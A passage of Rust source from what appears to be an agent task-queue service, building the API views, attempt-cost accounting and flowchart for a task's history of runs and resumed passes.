6324    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
6325    kind: &'static str,
6326    /// The run's own status string; `None` when its record cannot be read.
6327    status: Option<&'static str>,
6328    /// Whether this build could read the run's record. Counted, never hidden.
6329    readable: bool,
6330    /// A verdict from a collapsed panel is provisional, never a decision.
6331    provisional: bool,
6332    /// What kind of attempt this was, in one line.
6333    description: String,
6334    /// How it ended and why the task moved on (or what it is doing now).
6335    outcome: String,
6336    created_at: Option<Timestamp>,
6337    pr: Option<String>,
6338    /// Why this pass ended, classified once; the flowchart is built from it.
6339    exit: RunExit,
6340    /// What the pass did to the task's attempt budget.
6341    attempt: AttemptCost,
6342    /// Edge wording for leaving this entry; names the recorded cause when
6343    /// there is one.
6344    exit_label: String,
6345    /// The position of a later entry for the same run: this entry is an
6346    /// earlier pass of it.
6347    later_pass: Option<usize>,
6348    /// Which pass over the run this entry is (1-based) and how many entries
6349    /// the task lists for the run. Counted from the list, so known even for
6350    /// a legacy record.
6351    pass_n: usize,
6352    passes_of_run: usize,
6353    /// What the run recorded about this pass; `None` for a record from before
6354    /// passes were kept, whose cause stays unknown.
6355    pass: Option<PassView>,
6356    /// The branch a review-only run reopened.
6357    branch: Option<String>,
6358    /// The badge word when it differs from `status` (`stale` / `superseded`);
6359    /// filled by the task route, which can see liveness and later attempts.
6360    badge: Option<String>,
6361}
6362
6363/// One recorded pass over a run, for the wire.
6364#[derive(Debug, Clone, PartialEq, Serialize)]
6365struct PassView {
6366    index: usize,
6367    resumed: bool,
6368    started_at: Timestamp,
6369    ended_at: Option<Timestamp>,
6370    /// `open`, `parked` or `unrecorded`.
6371    end: &'static str,
6372    cause: Option<crate::run::ParkCause>,
6373    /// One line: why it stopped, or that nobody recorded why.
6374    label: String,
6375    /// What the task recorded for this pass; `None` when it was not settled
6376    /// (or settled by a build that kept no record).
6377    cost: Option<crate::queue::PassCost>,
6378}
6379
6380impl PassView {
6381    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6382        use crate::run::PassEnd;
6383        let (end, cause, label) = match &p.end {
6384            None => ("open", None, "still open".to_owned()),
6385            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6386            Some(PassEnd::Unrecorded) => (
6387                "unrecorded",
6388                None,
6389                "stopped without recording why (a crash, a kill or a restart; not known)"
6390                    .to_owned(),
6391            ),
6392        };
6393        Self {
6394            index: p.index,
6395            resumed: p.resumed,
6396            started_at: p.started_at,
6397            ended_at: p.ended_at,
6398            end,
6399            cause,
6400            label,
6401            cost: settled.map(|t| t.cost),
6402        }
6403    }
6404}
6405
6406/// How one pass over a run ended, as far as the task's life is concerned.
6407#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6408#[serde(rename_all = "snake_case")]
6409enum RunExit {
6410    Unreadable,
6411    /// An earlier pass of a run id that appears again: it stopped short.
6412    Interrupted,
6413    Parked,
6414    MachineBlocked,
6415    QuotaStall,
6416    /// Stalled on a resumed pass with quota losses on record: they may be
6417    /// left over from an earlier pass, so whether this one was refunded is
6418    /// not knowable.
6419    ResumedQuotaStall,
6420    Merged,
6421    Ready,
6422    Superseded,
6423    /// The change was already on the base under other commits: the task
6424    /// finished without this run landing anything.
6425    AlreadyInBase,
6426    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6427    Stalled,
6428    /// Blocked / no-op with a pull request left open: held for a person.
6429    HeldWithPr,
6430    NoopHeld,
6431    /// Blocked or failed: the attempt is spent and the task retries or holds.
6432    Spent,
6433    InProgress,
6434}
6435
6436#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6437#[serde(rename_all = "snake_case")]
6438enum AttemptCost {
6439    Spent,
6440    Refunded,
6441    None,
6442    /// Cannot be told from the records that remain.
6443    Unknown,
6444}
6445
6446impl RunExit {
6447    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6448        let Some(s) = s else {
6449            return Self::Unreadable;
6450        };
6451        let status = s.status;
6452        if resumed_later {
6453            Self::Interrupted
6454        } else if s.parked {
6455            Self::Parked
6456        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6457            Self::MachineBlocked
6458        } else if !status.done() {
6459            Self::InProgress
6460        } else if matches!(status, RunStatus::Merged) {
6461            Self::Merged
6462        } else if matches!(status, RunStatus::Ready) {
6463            Self::Ready
6464        } else if matches!(status, RunStatus::Superseded) {
6465            Self::Superseded
6466        } else if matches!(status, RunStatus::AlreadyInBase) {
6467            Self::AlreadyInBase
6468        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6469            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6470        {
6471            if resumed {
6472                Self::ResumedQuotaStall
6473            } else {
6474                Self::QuotaStall
6475            }
6476        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6477            Self::HeldWithPr
6478        } else if matches!(status, RunStatus::VerifiedNoop) {
6479            Self::NoopHeld
6480        } else if matches!(status, RunStatus::Stalled) {
6481            Self::Stalled
6482        } else {
6483            Self::Spent
6484        }
6485    }
6486
6487    fn cost(self) -> AttemptCost {
6488        match self {
6489            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6490            Self::Merged
6491            | Self::Ready
6492            | Self::Stalled
6493            | Self::HeldWithPr
6494            | Self::NoopHeld
6495            | Self::Spent => AttemptCost::Spent,
6496            Self::InProgress => AttemptCost::None,
6497            Self::AlreadyInBase => AttemptCost::Refunded,
6498            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6499                AttemptCost::Unknown
6500            }
6501        }
6502    }
6503
6504    /// Short edge wording for leaving a run this way.
6505    fn edge_label(self, status: Option<&str>) -> String {
6506        match self {
6507            Self::Unreadable => "record unreadable".to_owned(),
6508            Self::Interrupted => "interrupted before the run finished".to_owned(),
6509            Self::Parked => "parked, attempt refunded".to_owned(),
6510            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6511            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6512            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6513            Self::Merged => "merged".to_owned(),
6514            Self::Ready => "ready, not merged".to_owned(),
6515            Self::Superseded => "superseded by a later attempt".to_owned(),
6516            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6517            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6518            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6519            Self::NoopHeld => "verified no-op".to_owned(),
6520            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6521            Self::InProgress => "in progress".to_owned(),
6522        }
6523    }
6524
6525    /// Does a task in `end` follow from a run that ended this way? When not,
6526    /// somebody closed or held the task by hand.
6527    fn explains(self, end: TaskStatus) -> bool {
6528        match self {
6529            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6530            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6531            Self::Unreadable | Self::Superseded | Self::Ready => true,
6532            _ => end != TaskStatus::Done,
6533        }
6534    }
6535}
6536
6537/// `GET /api/queue/{id}` - one task with every attempt it went through.
6538#[derive(Debug, Serialize)]
6539struct TaskDetailView {
6540    #[serde(flatten)]
6541    task: TaskView,
6542    /// Task override, or the default daemon budget when inherited.
6543    /// A separate loop's command-line limit is not visible from here.
6544    max_attempts: usize,
6545    history: Vec<TaskRunView>,
6546    /// Entries in `history`: passes over runs, not distinct runs and not
6547    /// attempts consumed (`task.attempts`).
6548    passes_total: usize,
6549    /// Distinct runs those passes belong to.
6550    runs_distinct: usize,
6551    flow: FlowView,
6552    /// Set for a follow-up task; see [`followup_origin`].
6553    followup_origin: Option<FollowUpOrigin>,
6554    /// How many entries of `history` could not be read.
6555    runs_unreadable: usize,
6556    /// Why the attempt count can be lower than the number of runs.
6557    attempts_note: &'static str,
6558}
6559
6560const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6561and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6562on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6563the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6564
6565/// The branch a review-only run reopened, read off the instruction
6566/// `Runner::open_review` writes.
6567fn review_branch_of(instruction: &str) -> Option<&str> {
6568    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6569    rest.split('`').next().filter(|b| !b.is_empty())
6570}
6571
6572/// Where an entry sits in a task's run list.
6573#[derive(Default)]
6574struct RunSlot<'a> {
6575    /// 1-based position.
6576    n: usize,
6577    /// The same run id appeared earlier: this pass resumed it.
6578    resumed: bool,
6579    /// Position of a later pass over the same run id, if any.
6580    resumed_later: Option<usize>,
6581    /// The previous distinct run and how it ended, for the retry note.
6582    prior: Option<(&'a str, RunStatus)>,
6583    last: bool,
6584    /// This pass as the run recorded it, when it did.
6585    pass: Option<&'a crate::run::RunPass>,
6586    /// What the task recorded when it settled this pass.
6587    settled: Option<&'a crate::queue::TaskPass>,
6588    /// 1-based position among the task's entries for this run, and their count.
6589    pass_n: usize,
6590    passes_of_run: usize,
6591}
6592
6593/// Describe one entry of a task's run list. Pure: everything it needs is on
6594/// the run and the task, so it is asserted without a server.
6595fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6596    let RunSlot {
6597        n,
6598        resumed,
6599        resumed_later,
6600        prior,
6601        last,
6602        pass,
6603        settled,
6604        pass_n,
6605        passes_of_run,
6606    } = at;
6607    let short = run::short_of(id).to_owned();
6608    let Some(s) = state else {
6609        return TaskRunView {
6610            activity: None,
6611            n,
6612            id: id.to_owned(),
6613            short,
6614            kind: "unknown",
6615            status: None,
6616            readable: false,
6617            provisional: false,
6618            description:
6619                "This run's record could not be read by this build (written by a different \
6620                          magi, or removed), so what kind of attempt it was is unknown."
6621                    .to_owned(),
6622            outcome: String::new(),
6623            created_at: None,
6624            pr: None,
6625            exit: RunExit::Unreadable,
6626            attempt: AttemptCost::Unknown,
6627            exit_label: RunExit::Unreadable.edge_label(None),
6628            later_pass: resumed_later,
6629            pass_n,
6630            passes_of_run,
6631            pass: None,
6632            branch: None,
6633            badge: None,
6634        };
6635    };
6636    let branch = review_branch_of(&s.instruction);
6637    let kind = if resumed {
6638        "resume"
6639    } else if branch.is_some() {
6640        "review"
6641    } else if task.solo || s.candidates.len() == 1 {
6642        "solo"
6643    } else {
6644        "competition"
6645    };
6646    let mut description = match kind {
6647        "resume" => {
6648            format!("Resumed run {short}: the same run carried on instead of competing again.")
6649        }
6650        "review" => format!(
6651            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6652            branch.unwrap_or_default()
6653        ),
6654        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6655        _ => format!(
6656            "Competition: {} candidates judged blind.",
6657            s.candidates.len().max(1)
6658        ),
6659    };
6660    if !resumed && let Some((p, st)) = prior {
6661        description.push_str(&format!(
6662            " A retry: run {p} before it ended {}.",
6663            st.display_label()
6664        ));
6665    }
6666
6667    let status = s.status;
6668    let provisional = matches!(status, RunStatus::Stalled)
6669        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6670    let head = if resumed_later.is_some() {
6671        String::new()
6672    } else {
6673        match status {
6674            RunStatus::Merged => "Merged.".to_owned(),
6675            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6676            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6677            RunStatus::AlreadyInBase => {
6678                "Already in the base: this change landed under other commits, nothing was left to land."
6679                    .to_owned()
6680            }
6681            RunStatus::Stalled => {
6682                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6683                    .to_owned()
6684            }
6685            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6686            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6687            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6688            RunStatus::VerifiedNoop => {
6689                "Verified no-op: the candidates found nothing to change.".to_owned()
6690            }
6691            other if other.done() => format!("Ended {}.", other.display_label()),
6692            other => format!("In progress ({}).", other.display_label()),
6693        }
6694    };
6695    let view = pass.map(|p| PassView::of(p, settled));
6696    let recorded_end = view
6697        .as_ref()
6698        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6699    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6700        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6701        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6702        None => "whether its attempt was handed back was not recorded",
6703    };
6704    let pass_note = if passes_of_run > 1 {
6705        format!(
6706            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6707        )
6708    } else {
6709        String::new()
6710    };
6711    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6712        // The run recorded this pass's end when it happened.
6713        let cause = match v.end {
6714            "parked" => format!("It was stopped on purpose: {}.", v.label),
6715            _ => format!("It {}.", v.label),
6716        };
6717        format!(
6718            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6719            capitalise(cost_words)
6720        )
6721    } else if let Some(k) = resumed_later {
6722        // A run is only picked up again while it is unfinished, so an earlier
6723        // pass of a repeated id stopped short; the record keeps only the run's
6724        // latest status, which is left to the pass that carried it on.
6725        // Only the latest state is recorded: `parked` is cleared on resume
6726        // and `quota` accumulates across passes, so neither says why *this*
6727        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6728        let cause = if s.quota.is_empty() {
6729            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6730        } else {
6731            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6732        };
6733        format!(
6734            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6735        )
6736    } else if s.parked {
6737        match recorded_end.and_then(|v| v.cause.as_ref()) {
6738            Some(cause) => format!(
6739                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6740                cause.label(),
6741                cost_words
6742            ),
6743            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6744                .to_owned(),
6745        }
6746    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6747        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6748    } else if !status.done()
6749        || matches!(
6750            status,
6751            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6752        )
6753    {
6754        String::new()
6755    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6756        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6757    {
6758        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6759            .to_owned()
6760    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6761        " It left a pull request open, so the task was held for a person rather than retried."
6762            .to_owned()
6763    } else if matches!(status, RunStatus::VerifiedNoop) {
6764        " Held for a person to check the claim.".to_owned()
6765    } else if last {
6766        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6767    } else {
6768        " It spent an attempt, and the task moved on to the next run.".to_owned()
6769    };
6770    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6771    let mut attempt = exit.cost();
6772    let mut exit_label = None;
6773    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6774        let spent = match v.cost {
6775            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6776            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6777            None if resumed_later.is_some() => ", refund not recorded",
6778            None => ", attempt refunded",
6779        };
6780        attempt = match v.cost {
6781            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6782            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6783            None if resumed_later.is_some() => AttemptCost::Unknown,
6784            None => attempt,
6785        };
6786        if v.end == "parked" {
6787            exit = RunExit::Parked;
6788            exit_label = Some(match v.cause.as_ref() {
6789                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6790                    format!("parked for {}{spent}", c.label())
6791                }
6792                Some(c) => format!("parked ({}){spent}", c.label()),
6793                None => format!("parked{spent}"),
6794            });
6795        } else {
6796            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6797        }
6798    }
6799    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6800    TaskRunView {
6801        activity: None,
6802        n,
6803        id: id.to_owned(),
6804        short,
6805        kind,
6806        status: Some(status.as_str()),
6807        readable: true,
6808        provisional,
6809        description,
6810        outcome: format!("{head}{why}"),
6811        created_at: Some(s.created_at),
6812        pr: s.pr.as_ref().map(|p| p.url.clone()),
6813        exit,
6814        attempt,
6815        exit_label,
6816        later_pass: resumed_later,
6817        pass_n,
6818        passes_of_run,
6819        pass: view,
6820        branch: branch.map(str::to_owned),
6821        badge: None,
6822    }
6823}
6824
6825fn capitalise(s: &str) -> String {
6826    let mut c = s.chars();
6827    c.next().map_or_else(String::new, |f| {
6828        f.to_uppercase().collect::<String>() + c.as_str()
6829    })
6830}
6831
6832/// One box of the task's flowchart.
6833#[derive(Debug, Serialize, PartialEq)]
6834struct FlowNode {
6835    /// Unique by position: a resumed run id appears once per pass.
6836    key: String,
6837    /// `chat`, `followup`, `start`, `run` or `end`.
6838    kind: &'static str,
6839    label: String,
6840    /// Run status (or the task's, for `end`); `None` when it is not a fact
6841    /// about this box (unreadable, or a pass the run later resumed from).
6842    status: Option<&'static str>,
6843    /// Whose status `status` is, so the client picks the right colour table:
6844    /// `task` (the `followup` parent and `end`) or `run`.
6845    status_of: &'static str,
6846    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6847    note: Option<&'static str>,
6848    run_kind: Option<&'static str>,
6849    detail: Option<String>,
6850    /// A readable run with a real verdict; a stall never is.
6851    decided: bool,
6852    readable: bool,
6853    href: Option<String>,
6854    /// Overrides `status` as the badge word (`stale` / `superseded`).
6855    badge: Option<String>,
6856    /// Start of this entry, never the run's latest update or pass settlement.
6857    started_at: Option<Timestamp>,
6858    /// Context links (chat / follow-up) do not represent execution entries.
6859    time_expected: bool,
6860}
6861
6862#[derive(Debug, Serialize, PartialEq)]
6863struct FlowEdge {
6864    from: String,
6865    to: String,
6866    label: String,
6867    attempt: AttemptCost,
6868}
6869
6870#[derive(Debug, Serialize, PartialEq)]
6871struct FlowView {
6872    nodes: Vec<FlowNode>,
6873    edges: Vec<FlowEdge>,
6874    /// Attempts the task has counted since it was last released.
6875    attempts: usize,
6876    max_attempts: usize,
6877    /// Entries in the run list (passes), and how many distinct runs they are.
6878    /// Neither is the number of attempts consumed.
6879    passes: usize,
6880    runs: usize,
6881}
6882
6883/// Turn a task and its described runs into the flowchart's boxes and arrows.
6884/// Pure: the page only draws what this returns.
6885///
6886/// A follow-up opens with its parent (or the merged run) unless the task's
6887/// *source* is itself a chat, in which case the chat stays first and the
6888/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6889/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6890/// two normally do not coincide and the nearer origin wins.
6891fn task_flow(
6892    task: &Task,
6893    history: &[TaskRunView],
6894    max_attempts: usize,
6895    origin: Option<&FollowUpOrigin>,
6896) -> FlowView {
6897    let max_attempts = task.effective_attempt_limit(max_attempts);
6898    let node = |key: &str, kind, label: String| FlowNode {
6899        key: key.to_owned(),
6900        kind,
6901        label,
6902        status: None,
6903        status_of: "run",
6904        note: None,
6905        run_kind: None,
6906        detail: None,
6907        decided: false,
6908        readable: true,
6909        href: None,
6910        badge: None,
6911        started_at: None,
6912        time_expected: matches!(kind, "start" | "run" | "end"),
6913    };
6914    let mut nodes = Vec::new();
6915    let mut edges: Vec<FlowEdge> = Vec::new();
6916    // A task queued from a chat opens the flow with that conversation.
6917    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6918        let mut n = node(
6919            "chat",
6920            "chat",
6921            format!("Chat {}", crate::queue::short(&link.id)),
6922        );
6923        n.href = Some(link.href);
6924        nodes.push(n);
6925        edges.push(FlowEdge {
6926            from: "chat".to_owned(),
6927            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6928            label: "queued from chat".to_owned(),
6929            attempt: AttemptCost::None,
6930        });
6931    }
6932    if let Some(o) = origin {
6933        let mut n = match &o.parent {
6934            Some(p) => {
6935                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6936                n.status = Some(p.status);
6937                n.status_of = "task";
6938                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6939                n.href = Some(p.href.clone());
6940                n
6941            }
6942            None => {
6943                let mut n = node(
6944                    "origin",
6945                    "followup",
6946                    format!("Follow-up of run {}", o.run.short),
6947                );
6948                n.detail = Some("merged run".to_owned());
6949                n.status = o.run.status;
6950                n.href = o.run.href.clone();
6951                if o.run.href.is_none() {
6952                    n.readable = false;
6953                    n.note = Some("unreadable");
6954                }
6955                n
6956            }
6957        };
6958        n.decided = true;
6959        let from = n.key.clone();
6960        nodes.push(n);
6961        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6962        let more = o.findings.len().saturating_sub(shown.len());
6963        let label = match (shown.is_empty(), more) {
6964            (true, _) => "open findings".to_owned(),
6965            (false, 0) => format!("open findings {}", shown.join(", ")),
6966            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6967        };
6968        edges.push(FlowEdge {
6969            from,
6970            to: "start".to_owned(),
6971            label,
6972            attempt: AttemptCost::None,
6973        });
6974    }
6975    let mut start = node("start", "start", "Task queued".to_owned());
6976    start.started_at = Some(task.created_at);
6977    nodes.push(start);
6978    let mut prev = "start".to_owned();
6979    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6980    for (i, h) in history.iter().enumerate() {
6981        let key = format!("run-{}", h.n);
6982        let mut n = node(&key, "run", format!("Run {}", h.short));
6983        // Creation marks only the first pass of legacy runs. A resumed pass
6984        // without a record must not inherit the original run's start time.
6985        n.started_at = h
6986            .readable
6987            .then(|| {
6988                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6989                    h.created_at
6990                } else {
6991                    None
6992                })
6993            })
6994            .flatten();
6995        n.run_kind = Some(h.kind);
6996        n.readable = h.readable;
6997        n.href = Some(format!("#/runs/{}", h.id));
6998        n.decided = h.readable && !h.provisional;
6999        n.detail = h
7000            .branch
7001            .as_ref()
7002            .map(|b| format!("review-only run of branch {b}"));
7003        match h.exit {
7004            RunExit::Unreadable => n.note = Some("unreadable"),
7005            RunExit::Interrupted => n.note = Some("interrupted"),
7006            // An earlier pass the run recorded as parked: the status shown
7007            // would be the run's current one, not this pass's.
7008            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
7009            _ => {
7010                n.status = h.status;
7011                n.badge = h.badge.clone();
7012                if h.provisional {
7013                    n.note = Some("no verdict");
7014                }
7015            }
7016        }
7017        let into = match h.kind {
7018            "review" => Some(format!(
7019                "review-only run of branch {}",
7020                h.branch.as_deref().unwrap_or("?")
7021            )),
7022            "resume" => Some("resume the same run".to_owned()),
7023            _ if i > 0 => Some("retry".to_owned()),
7024            _ => None,
7025        };
7026        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
7027        let label = match (prev_exit, into) {
7028            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
7029            (Some((_, l, _)), None) => l,
7030            (None, Some(i)) => i,
7031            (None, None) => "claimed".to_owned(),
7032        };
7033        edges.push(FlowEdge {
7034            from: prev.clone(),
7035            to: key.clone(),
7036            label,
7037            attempt,
7038        });
7039        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
7040        prev = key;
7041        nodes.push(n);
7042    }
7043    let mut end = node("end", "end", task.status.as_str().to_owned());
7044    end.status = Some(task.status.as_str());
7045    end.status_of = "task";
7046    // Other task states do not persist their transition start. In particular,
7047    // blocked_at can change while the task remains blocked.
7048    if task.status == TaskStatus::Held {
7049        end.started_at = task.held_at;
7050    }
7051    nodes.push(end);
7052    let (label, attempt) = match prev_exit {
7053        None => (
7054            format!("no run yet \u{2192} {}", task.status.as_str()),
7055            AttemptCost::None,
7056        ),
7057        Some((e, l, cost)) if e.explains(task.status) => {
7058            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
7059        }
7060        Some((_, _, cost)) => (
7061            format!("closed by hand: task is {}", task.status.as_str()),
7062            cost,
7063        ),
7064    };
7065    edges.push(FlowEdge {
7066        from: prev,
7067        to: "end".to_owned(),
7068        label,
7069        attempt,
7070    });
7071    FlowView {
7072        nodes,
7073        edges,
7074        attempts: task.attempts,
7075        max_attempts,
7076        passes: history.len(),
7077        runs: distinct_runs(&task.runs),
7078    }
7079}
7080
7081/// How many different run ids a task's run list names.
7082fn distinct_runs(runs: &[String]) -> usize {
7083    let mut seen: Vec<&str> = Vec::new();
7084    for r in runs {
7085        if !seen.contains(&r.as_str()) {
7086            seen.push(r);
7087        }
7088    }
7089    seen.len()
7090}
7091
7092/// Describe recorded task passes, retaining unrecorded legacy list entries.
7093fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
7094    let mut slots = Vec::new();
7095    let mut seen = Vec::new();
7096    for run_id in &task.runs {
7097        if seen.contains(&run_id) {
7098            continue;
7099        }
7100        seen.push(run_id);
7101        let state = read(run_id);
7102        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
7103            s.passes
7104                .iter()
7105                .filter(|p| {
7106                    p.task_entry
7107                        || task
7108                            .passes
7109                            .iter()
7110                            .any(|t| t.run == *run_id && t.pass_index == p.index)
7111                })
7112                .cloned()
7113                .collect()
7114        });
7115        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
7116        let total = legacy_count.max(mine.len());
7117        let offset = total - mine.len();
7118        for k in 0..total {
7119            // Legacy repeated entries retain their original positions. When
7120            // ids are unique, recorded pass times recover the resume order.
7121            let position = task
7122                .runs
7123                .iter()
7124                .enumerate()
7125                .filter(|(_, r)| *r == run_id)
7126                .nth(k.min(legacy_count - 1))
7127                .unwrap()
7128                .0;
7129            slots.push((
7130                run_id,
7131                state.clone(),
7132                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
7133                position,
7134            ));
7135        }
7136    }
7137    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
7138        slots.sort_by_key(|(_, state, pass, _)| {
7139            pass.as_ref()
7140                .map(|p| p.started_at)
7141                .or_else(|| state.as_ref().map(|s| s.created_at))
7142                .map_or((true, task.created_at), |at| (false, at))
7143        });
7144    } else {
7145        slots.sort_by_key(|(_, _, _, position)| *position);
7146    }
7147    let mut history = Vec::with_capacity(slots.len());
7148    let mut seen: Vec<&str> = Vec::new();
7149    let mut prior: Option<(&str, RunStatus)> = None;
7150    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
7151        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
7152        let resumed = k > 0;
7153        seen.push(run_id);
7154        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
7155        let pass = pass.as_ref();
7156        let settled = pass.and_then(|p| {
7157            task.passes
7158                .iter()
7159                .find(|t| t.run == **run_id && t.pass_index == p.index)
7160        });
7161        history.push(task_run_view(
7162            run_id,
7163            state.as_ref(),
7164            RunSlot {
7165                n: i + 1,
7166                resumed,
7167                resumed_later: slots[i + 1..]
7168                    .iter()
7169                    .position(|(id, _, _, _)| id == run_id)
7170                    .map(|off| i + off + 2),
7171                prior,
7172                last: i + 1 == slots.len(),
7173                pass,
7174                settled,
7175                pass_n: k + 1,
7176                passes_of_run: total,
7177            },
7178            task,
7179        ));
7180        if let Some(s) = &state {
7181            prior = Some((run::short_of(run_id), s.status));
7182        }
7183    }
7184    history
7185}
7186
7187/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
7188/// An earlier pass of a resumed run keeps no badge (it has no status box).
7189fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
7190    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
7191        return;
7192    }
7193    let (_, claimed, _) = run_row_inputs(ui);
7194    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
7195    for h in history
7196        .iter_mut()
7197        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
7198    {
7199        let Ok(state) = read_run(&ui.runs, &h.id) else {
7200            continue;
7201        };
7202        if state.status.done() {
7203            continue;
7204        }
7205        let live = state.liveness_with(
7206            claimed.contains(&h.id),
7207            |p| probe.borrow_mut().status(p),
7208            |p| probe.borrow_mut().started_at(p),
7209        );
7210        let waiting = !ui.questions.open_for(&h.id).is_empty();
7211        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
7212        let display = run_display_status(&state, waiting, live);
7213        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
7214        if matches!(word.as_str(), "stale" | "superseded")
7215            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
7216        {
7217            h.badge = Some(word);
7218        }
7219    }
7220}
7221
7222async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
7223    blocking(move || {
7224        let id = resolve_task(&ui.queue, &id)?;
7225        let task = ui.queue.get(&id)?;
7226        let inv = (task.status == TaskStatus::Blocked)
7227            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
7228        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7229        let view = match inv.as_ref() {
7230            Some(inv) => TaskView::with_inventory(task, inv),
